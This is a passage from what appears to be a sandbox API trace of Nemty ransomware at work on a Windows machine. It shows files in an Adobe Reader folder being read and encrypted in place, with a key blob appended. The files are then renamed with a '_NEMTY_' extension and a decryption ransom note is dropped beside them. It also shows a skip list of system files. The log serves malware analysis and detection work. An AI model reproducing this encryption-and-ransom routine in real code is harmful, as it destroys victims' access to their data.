pszString="jX8jrBmctg5Q5z4TeMZOgEaqwSxrDr0wBG8yuu+RYRV8TjdtJUMJXOcr1KYBmudF\r\njcNqL+Jo7ax7/8sftEFfk7fWtJ8JxF4gkNQo8w+7pE3eoGoZbRQRBfRMLvL5JXwN\r\n7Sk8luTUYXiViEbLErhHMRKQoy2s+n0jMgw4YpYTJapgkOQxhs2s6Eyp1UQrtk62\r\niXYyC7db79y5QpVQX194OEv7w8Hf5XAgtjp9c5bmsyirRY3T/G4gCQ9njYqU/+A6\r\nIeQhhYynoLMxj5NhmZLP4bNfCMs9NuPW6EHe/x/VlVsbJ0RxMjr1AyQlA2u4Fp2T\r\njsB5QXgDASCkUFWWSH6DTA==\r\n", pcchString=0x653e5dc) returned 1 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.356] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0176.356] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.357] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.357] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=24064) returned 1 [0176.357] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x5e00) returned 0x6352c48 [0176.357] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.357] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x5e00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x5e00, lpOverlapped=0x0) returned 1 [0176.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x5e00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x5e00, lpOverlapped=0x0) returned 1 [0176.360] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.360] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00 [0176.360] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.360] CloseHandle (hObject=0x2e8) returned 1 [0176.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0176.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.360] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.361] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63401b8 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.361] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Search.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\search.euq._nemty_kgobjgd_")) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.361] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.361] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8333a740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="SendMail.EUQ", cAlternateFileName="")) returned 1 [0176.361] lstrcmpiW (lpString1="SendMail.EUQ", lpString2=".") returned 1 [0176.361] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="..") returned 1 [0176.361] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="...") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="windows") returned -1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="$RECYCLE.BIN") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="rsa") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="NTDETECT.COM") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="ntldr") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="MSDOS.SYS") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="IO.SYS") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="boot.ini") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="boot.ini") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="AUTOEXEC.BAT") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="ntuser.dat") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="desktop.ini") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="CONFIG.SYS") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="RECYCLER") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="BOOTSECT.BAK") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="bootmgr") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="programdata") returned 1 [0176.362] lstrcmpiW (lpString1="SendMail.EUQ", lpString2="appdata") returned 1 [0176.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.362] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.362] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0176.362] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="SendMail.EUQ", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SendMail.EUQ", lpUsedDefaultChar=0x0) returned 12 [0176.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0176.363] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0176.363] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0176.363] Sleep (dwMilliseconds=0x5) [0176.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc5be70, dwHighDateTime=0x1d561e8)) [0176.371] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1cc5be70, dwHighDateTime=0x1d561e8)) [0176.371] GetLastError () returned 0x0 [0176.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0176.371] GetLastError () returned 0x0 [0176.371] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0176.372] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0176.372] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0176.372] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="IJRw50FLBwsNVjW/6zhfChG9pHPZXmp6FInpLB/puIj+CHLX0dKcDfTZI4lrPaJK\r\n9ZtiS4Q5cu2Qrlodh13T3PbrIQcVPDejrvm6F1ytnv0ORJa7DyigoX2hTu0YRRpV\r\nQnsQz4AL9eRhA+bUeVc0Jo639JWQUFUM8DZm0XDTRWtNVAMPuq4ef39Blyr8AMkf\r\n24qJAglFgfnu1Em0k9trI3dPw0GfZgiQzX13dxJerm16DUOEoAqbpA9uU47TEfgh\r\nq/hxP7pgPHbWfDUj3gj2EIBntomBSn4GnGdJE3cHvFqRQAwHULpbBlvp4Sef9Zw5\r\nTk8f1CMEWxereke5NLtCEg==\r\n", pcchString=0x653e5dc) returned 1 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0176.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.372] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0176.372] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.372] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=16384) returned 1 [0176.372] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x4000) returned 0x6352c48 [0176.372] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.372] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x4000, lpOverlapped=0x0) returned 1 [0176.375] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x4000, lpOverlapped=0x0) returned 1 [0176.375] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0176.375] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=16384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x4000 [0176.375] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0176.375] CloseHandle (hObject=0x2e8) returned 1 [0176.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0176.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.375] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0176.375] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0176.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0176.376] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.376] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\SendMail.EUQ._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\sendmail.euq._nemty_kgobjgd_")) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.376] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.376] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fbd320, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fbd320, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Services", cAlternateFileName="")) returned 1 [0176.376] lstrcmpiW (lpString1="Services", lpString2=".") returned 1 [0176.376] lstrcmpiW (lpString1="Services", lpString2="..") returned 1 [0176.376] lstrcmpiW (lpString1="Services", lpString2="...") returned 1 [0176.376] lstrcmpiW (lpString1="Services", lpString2="windows") returned -1 [0176.376] lstrcmpiW (lpString1="Services", lpString2="$RECYCLE.BIN") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="rsa") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="NTDETECT.COM") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="ntldr") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="MSDOS.SYS") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="IO.SYS") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="boot.ini") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="AUTOEXEC.BAT") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="ntuser.dat") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="desktop.ini") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="CONFIG.SYS") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="RECYCLER") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="BOOTSECT.BAK") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="bootmgr") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="programdata") returned 1 [0176.377] lstrcmpiW (lpString1="Services", lpString2="appdata") returned 1 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0176.377] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Services", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Services", lpUsedDefaultChar=0x0) returned 8 [0176.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0176.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0176.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0176.377] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0176.377] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0176.377] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0176.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0176.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0176.378] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6340048 [0176.378] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0176.378] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\eu_ES\\Services\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\eu_es\\services\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0176.379] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0176.379] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.379] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653e840, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e840*=0xef8, lpOverlapped=0x0) returned 1 [0176.380] CloseHandle (hObject=0x2e8) returned 1 [0176.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0176.380] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0176.380] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0176.380] 